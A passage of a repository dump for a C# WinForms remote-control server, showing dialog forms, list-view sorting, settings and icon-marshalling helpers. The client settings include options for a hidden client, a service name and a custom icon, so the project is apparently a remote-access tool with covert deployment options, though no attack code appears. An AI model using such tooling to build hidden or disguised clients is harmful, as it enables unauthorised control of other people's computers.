31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmOkCancelBase.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmOkCancelBase : FrmBase
12 | {
13 | public FrmOkCancelBase()
14 | {
15 | InitializeComponent();
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmRename.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using RemoteControl.Server.Utils;
9 |
10 | namespace RemoteControl.Server
11 | {
12 | public partial class FrmRename : FrmOkCancelBase
13 | {
14 | public string NewName;
15 |
16 | public FrmRename(string oldName)
17 | {
18 | InitializeComponent();
19 | this.textBox1.Text = oldName;
20 | }
21 |
22 | private void buttonOk_Click(object sender, EventArgs e)
23 | {
24 | this.NewName = this.textBox1.Text.Trim();
25 | if (this.NewName.Length < 1)
26 | {
27 | MsgBox.Info("新名称不能为空!");
28 | return;
29 | }
30 |
31 | this.DialogResult = System.Windows.Forms.DialogResult.OK;
32 | }
33 |
34 | private void buttonCancel_Click(object sender, EventArgs e)
35 | {
36 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmSelectAvatar.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace RemoteControl.Server
2 | {
3 | partial class FrmSelectAvatar
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel();
32 | this.SuspendLayout();
33 | //
34 | // flowLayoutPanel1
35 | //
36 | this.flowLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill;
37 | this.flowLayoutPanel1.Location = new System.Drawing.Point(0, 0);
38 | this.flowLayoutPanel1.Name = "flowLayoutPanel1";
39 | this.flowLayoutPanel1.Size = new System.Drawing.Size(384, 308);
40 | this.flowLayoutPanel1.TabIndex = 0;
41 | //
42 | // FrmSelectAvatar
43 | //
44 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
45 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
46 | this.ClientSize = new System.Drawing.Size(384, 308);
47 | this.Controls.Add(this.flowLayoutPanel1);
48 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow;
49 | this.Name = "FrmSelectAvatar";
50 | this.Text = "选择头像";
51 | this.Load += new System.EventHandler(this.FrmSelectAvatar_Load);
52 | this.ResumeLayout(false);
53 |
54 | }
55 |
56 | #endregion
57 |
58 | private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1;
59 | }
60 | }
--------------------------------------------------------------------------------
/RemoteControl.Server/FrmSelectAvatar.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Server
10 | {
11 | public partial class FrmSelectAvatar : FrmBase
12 | {
13 | public string SelectedAvatarFile { get; private set; }
14 | public FrmSelectAvatar()
15 | {
16 | InitializeComponent();
17 | this.flowLayoutPanel1.FlowDirection = FlowDirection.LeftToRight;
18 | this.flowLayoutPanel1.AutoScroll = true;
19 | base.EnableCancelButton = true;
20 | }
21 |
22 | private void FrmSelectAvatar_Load(object sender, EventArgs e)
23 | {
24 | var files = RSCApplication.GetAllAvatarFiles();
25 | for (int i = 0; i < files.Count; i++)
26 | {
27 | var file = files[i];
28 | var avatar = new PictureBox();
29 | avatar.Width = 42;
30 | avatar.Height = 42;
31 | avatar.BackgroundImage = Image.FromFile(file);
32 | avatar.BackgroundImageLayout = ImageLayout.Stretch;
33 | avatar.Tag = file;
34 | avatar.Margin = new Padding(10, 5, 10, 5);
35 | avatar.MouseEnter += new EventHandler(avatar_MouseEnter);
36 | avatar.MouseLeave += new EventHandler(avatar_MouseLeave);
37 | avatar.MouseDoubleClick += new MouseEventHandler(avatar_MouseDoubleClick);
38 | this.flowLayoutPanel1.Controls.Add(avatar);
39 | }
40 | }
41 |
42 | void avatar_MouseDoubleClick(object sender, MouseEventArgs e)
43 | {
44 | PictureBox pb = sender as PictureBox;
45 | this.SelectedAvatarFile = pb.Tag as string;
46 | this.DialogResult = System.Windows.Forms.DialogResult.OK;
47 | }
48 |
49 | void avatar_MouseLeave(object sender, EventArgs e)
50 | {
51 | PictureBox pb = sender as PictureBox;
52 | pb.BorderStyle = BorderStyle.None;
53 | }
54 |
55 | void avatar_MouseEnter(object sender, EventArgs e)
56 | {
57 |
58 | PictureBox pb = sender as PictureBox;
59 | pb.BorderStyle = BorderStyle.FixedSingle;
60 | }
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/RemoteControl.Server/ListViewItemFileOrDirTag.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Server
7 | {
8 | class ListViewItemFileOrDirTag
9 | {
10 | public string Path;
11 | public bool IsFile = false;
12 |
13 | public string FileOrDirName
14 | {
15 | get
16 | {
17 | if (string.IsNullOrEmpty(this.Path))
18 | return string.Empty;
19 |
20 | if (this.IsFile)
21 | {
22 | return System.IO.Path.GetFileName(this.Path);
23 | }
24 | return System.IO.Path.GetDirectoryName(this.Path);
25 | }
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/RemoteControl.Server/PacketReceivedEventArgs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 |
7 | namespace RemoteControl.Server
8 | {
9 | class PacketReceivedEventArgs : EventArgs
10 | {
11 | public SocketSession Session;
12 | public ePacketType PacketType;
13 | public object Obj;
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/RemoteControl.Server/PasteInfo.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Server
7 | {
8 | ///
9 | /// 粘贴信息
10 | ///
11 | class PasteInfo
12 | {
13 | ///
14 | /// 是否删除源文件(复制模式不会删除,剪切模式会删除)
15 | ///
16 | public bool IsDeleteSourceFile;
17 | ///
18 | /// 源文件路径
19 | ///
20 | public string SourceFilePath;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 | using System.Drawing;
6 | using RemoteControl.Protocals;
7 | using System.Runtime.InteropServices;
8 | using System.Diagnostics;
9 |
10 | namespace RemoteControl.Server
11 | {
12 | static class Program
13 | {
14 | ///
15 | /// 应用程序的主入口点。
16 | ///
17 | [STAThread]
18 | static void Main()
19 | {
20 | //Win32API.keybd_event(0x11, 0, 0, 0);
21 | //Win32API.keybd_event(18, 0, 0, 0);
22 | //Win32API.keybd_event(0x2E, 0, 0, 0);
23 | //Win32API.keybd_event(0x11, 0, 2, 0);
24 | //Win32API.keybd_event(18, 0, 2, 0);
25 | //Win32API.keybd_event(0x2E, 0, 2, 0);
26 |
27 | Application.EnableVisualStyles();
28 | Application.SetCompatibleTextRenderingDefault(false);
29 | Application.Run(new FrmMain());
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过下列属性集
6 | // 控制。更改这些属性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("RemoteControl.Server")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("RemoteControl.Server")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 | [assembly: log4net.Config.XmlConfigurator()]
17 |
18 | // 将 ComVisible 设置为 false 使此程序集中的类型
19 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
20 | // 则将该类型上的 ComVisible 属性设置为 true。
21 | [assembly: ComVisible(false)]
22 |
23 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
24 | [assembly: Guid("f945c3b8-d188-4b8a-90e0-932f8ac4cb7a")]
25 |
26 | // 程序集的版本信息由下面四个值组成:
27 | //
28 | // 主版本
29 | // 次版本
30 | // 内部版本号
31 | // 修订号
32 | //
33 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
34 | // 方法是按如下所示使用“*”:
35 | // [assembly: AssemblyVersion("1.0.*")]
36 | [assembly: AssemblyVersion("1.0.0.0")]
37 | [assembly: AssemblyFileVersion("1.0.0.0")]
38 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace RemoteControl.Server.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/RemoteControl.Server/SendCommandHotKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Server
7 | {
8 | public enum SendCommandHotKey
9 | {
10 | Enter,
11 | CtrlEnter
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Settings.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using Newtonsoft.Json;
6 |
7 | namespace RemoteControl.Server
8 | {
9 | class Settings
10 | {
11 | const string SettingFileName = "config.json";
12 | public static Settings CurrentSettings = new Settings();
13 | public ClientParas ClientPara = new ClientParas();
14 | public int ServerPort;
15 | public string SkinPath;
16 |
17 | static Settings()
18 | {
19 | try
20 | {
21 | string json = System.IO.File.ReadAllText(SettingFileName);
22 | Settings.CurrentSettings = JsonConvert.DeserializeObject(json);
23 | }
24 | catch (Exception ex)
25 | {
26 | }
27 | }
28 |
29 | public static void SaveSettings()
30 | {
31 | if (Settings.CurrentSettings == null)
32 | return;
33 | string json = JsonConvert.SerializeObject(Settings.CurrentSettings);
34 | System.IO.File.WriteAllText(SettingFileName, json);
35 | }
36 | }
37 |
38 | class ClientParas
39 | {
40 | public string ServerIP;
41 | public int ServerPort;
42 | public string ServiceName;
43 | public string OnlineAvatar;
44 | public bool IsHide;
45 | public string ClientIconPath;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/RemoteControl.Server/SortableListView.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Windows.Forms;
7 |
8 | namespace RemoteControl.Server
9 | {
10 | class SortableListView : ListView
11 | {
12 | private Dictionary mapping = new Dictionary();
13 | public SortableListView()
14 | {
15 | this.ColumnClick += new ColumnClickEventHandler(SortableListView_ColumnClick);
16 | this.ListViewItemSorter = new ListViewItemComparer();
17 | }
18 |
19 | void SortableListView_ColumnClick(object sender, ColumnClickEventArgs e)
20 | {
21 | // 记录每列的排序方式
22 | if(!mapping.ContainsKey(e.Column))
23 | mapping.Add(e.Column, SortOrder.Ascending);
24 |
25 | var comparer = this.ListViewItemSorter as ListViewItemComparer;
26 | comparer.SortColumn = e.Column;
27 | comparer.Order = mapping[e.Column];
28 | this.Sort();
29 |
30 | // 切换每列的排列方式
31 | if (mapping[e.Column] == SortOrder.Ascending)
32 | {
33 | mapping[e.Column] = SortOrder.Descending;
34 | }
35 | else if (mapping[e.Column] == SortOrder.Descending)
36 | {
37 | mapping[e.Column] = SortOrder.Ascending;
38 | }
39 | }
40 |
41 | class ListViewItemComparer:IComparer
42 | {
43 | public int SortColumn = 0;
44 | public SortOrder Order = SortOrder.Ascending;
45 |
46 | public int Compare(object x, object y)
47 | {
48 | var itemX = x as ListViewItem;
49 | var itemY = y as ListViewItem;
50 |
51 | int value = 1;
52 |
53 | try
54 | {
55 | value = itemX.SubItems[SortColumn].Text.CompareTo(itemY.SubItems[SortColumn].Text);
56 | }
57 | catch (Exception ex)
58 | {
59 | return 1;
60 | }
61 |
62 | if (Order == SortOrder.Ascending)
63 | return value;
64 | else
65 | {
66 | return -1*value;
67 | }
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/RemoteControl.Server/UIUtil.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Windows.Forms;
6 |
7 | namespace RemoteControl.Server
8 | {
9 | public class UIUtil
10 | {
11 | public static void BindTextBoxCtrlA(TextBox textBox)
12 | {
13 | textBox.KeyDown += (o, args) =>
14 | {
15 | if (args.Control && args.KeyCode == Keys.A)
16 | {
17 | textBox.SelectAll();
18 | }
19 | };
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Utils/IconChangerExtensions.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.IO;
6 | using System.Runtime.InteropServices;
7 |
8 | namespace RemoteControl.Server.Utils
9 | {
10 | public static class IconChangerExtensions
11 | {
12 | ///
13 | /// 从文件流中读取结构体
14 | ///
15 | ///
16 | ///
17 | ///
18 | public static T Read(this FileStream fs) where T:struct
19 | {
20 | byte[] buffer = new byte[Marshal.SizeOf(typeof(T))];
21 | fs.Read(buffer, 0, buffer.Length);
22 |
23 | return buffer.ToStruct();
24 | }
25 |
26 | public static T ToStruct(this byte[] data)
27 | {
28 | // 字节数组转IntPtr
29 | IntPtr ptr = Marshal.AllocHGlobal(data.Length);
30 | Marshal.Copy(data, 0, ptr, data.Length);
31 | // IntPtr转struct
32 | T result = (T)Marshal.PtrToStructure(ptr, typeof(T));
33 | Marshal.Release(ptr);
34 |
35 | return result;
36 | }
37 |
38 | public static IntPtr ToPtr(this byte[] data)
39 | {
40 | IntPtr p = Marshal.AllocHGlobal(data.Length);
41 | Marshal.Copy(data, 0, p, data.Length);
42 |
43 | return p;
44 | }
45 |
46 | public static byte[] ToByteArray(this T obj) where T : struct
47 | {
48 | int size = Marshal.SizeOf(typeof(T));
49 | IntPtr ptr = Marshal.AllocHGlobal(size);
50 | Marshal.StructureToPtr(obj, ptr, true);
51 | byte[] buffer = new byte[size];
52 | Marshal.Copy(ptr, buffer, 0, buffer.Length);
53 | Marshal.FreeHGlobal(ptr);
54 |
55 | return buffer;
56 | }
57 |
58 | public static IntPtr ToPtr(this T obj) where T:struct
59 | {
60 | int size = Marshal.SizeOf(typeof(T));
61 | IntPtr p = Marshal.AllocHGlobal(size);
62 | Marshal.StructureToPtr(obj, p, true);
63 |
64 | return p;
65 | }
66 |
67 | public static int GetStructSize(this T obj) where T:struct
68 | {
69 | return Marshal.SizeOf(typeof(T));
70 | }
71 | }
72 | }
73 |
--------------------------------------------------------------------------------
/RemoteControl.Server/Utils/MsgBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Windows.Forms;
6 |
7 | namespace RemoteControl.Server.Utils
8 | {
9 | class MsgBox
10 | {
11 | public static DialogResult Error(string text)
12 | {
13 | return Show(text, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
14 | }
15 |
16 | public static DialogResult Warning(string text)
17 | {
18 | return Show(text, "警告", MessageBoxButtons.OK, MessageBoxIcon.Warning);
19 | }
20 |
21 | public static DialogResult Question(string text, MessageBoxButtons buttons)
22 | {
23 | return Show(text, "询问", buttons, MessageBoxIcon.Question);
24 | }
25 |
26 | public static DialogResult Info(string text)
27 | {
28 | return Show(text, "提示", MessageBoxButtons.OK);
29 | }
30 |
31 | public static DialogResult Show(string text, string caption)
32 | {
33 | return Show(text, caption, MessageBoxButtons.OK);
34 | }
35 |
36 | public static DialogResult Show(string text, string caption, MessageBoxButtons buttons)
37 | {
38 | return Show(text, caption, buttons, MessageBoxIcon.Information);
39 | }
40 |
41 | public static DialogResult Show(string text, string caption, MessageBoxButtons buttons, MessageBoxIcon icon)
42 | {
43 | return Show(null, text, caption, buttons, icon);
44 | }
45 |
46 | public static DialogResult Show(IWin32Window owner, string text, string caption, MessageBoxButtons buttons, MessageBoxIcon icon)
47 | {
48 | return MessageBox.Show(owner, text, caption, buttons, icon);
49 | }
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/RemoteControl.Server/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/RemoteControl.Server/app.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/app.ico
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/14321_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/14321_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/14724_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/14724_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/14726_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/14726_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/15609_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15609_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/15746_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15746_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/15849_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15849_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/15942_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15942_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/15944_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15944_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16005_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16005_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16063_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16063_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16206_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16206_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16211_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16211_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16212_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16212_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16213_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16213_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16219_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16219_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16221_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16221_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16224_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16224_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16225_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16225_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16228_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16228_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16236_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16236_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16237_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16237_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16238_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16238_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16242_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16242_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16243_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16243_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16247_100.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16247_100.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16250_100.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16250_100.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16251_100.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16251_100.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16252_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16252_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16253_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16253_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16254_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16254_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16255_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16255_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16256_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16256_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16257_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16257_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16258_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16258_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Avatars/16260_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16260_100.png
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/IrisSkin2.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/IrisSkin2.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Newtonsoft.Json.Lite.dll:
--------------------------------------------------------------------------------
